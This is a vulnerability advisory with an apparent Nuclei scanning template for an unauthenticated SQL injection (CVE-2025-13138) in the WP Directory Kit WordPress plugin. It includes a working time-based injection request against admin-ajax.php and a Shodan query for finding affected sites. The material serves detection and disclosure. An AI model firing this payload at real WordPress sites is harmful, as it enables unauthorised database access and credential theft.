The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection via the 'columns_search' parameter of the select_2_ajax() function in all versions up to, and including, 1.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
PoC
id: CVE-2025-13138
info:
name: WP Directory Kit <= 1.4.3 - Unauthenticated SQL Injection
author: Shivam Kamboj
severity: high
description: |
The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection via the 'columns_search' parameter of the select_2_ajax() function in all versions up to, and including, 1.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
An unauthenticated attacker can extract sensitive information from the WordPress database including user credentials, posts, and other data.
remediation: |
Update WP Directory Kit plugin to version 1.4.4 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpdirectorykit/wp-directory-kit-143-unauthenticated-sql-injection-via-select-2-ajax-function
- https://plugins.trac.wordpress.org/browser/wpdirectorykit/tags/1.4.3/application/controllers/Wdk_frontendajax.php#L546
metadata:
verified: true
max-request: 1
shodan-query: html:"plugins/wpdirectorykit/"
tags: cve,cve2025,wordpress,wp-plugin,sqli,wpdirectorykit,unauth,wp,time-based
http:
- raw:
- |
@timeout: 10s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wdk_public_action&page=wdk_frontendajax&function=select_2_ajax&table=category_m&columns_search=category_title)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(7)))a)--%20-&q[term]=test
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code == 200'
- 'contains(body, "success")'
condition: and
# digest: 4b0a004830460221008b9bf3f7a4da24d34d8fdbfa8c1e49aa6744529c4cad94c7478f2e367ee4105e022100cbb4b14f771a7b62e7cfc4229ebc4ef9bb7fb5d38393d708393fdc3682363209:922c64590222798bb761d5b6d8e72950
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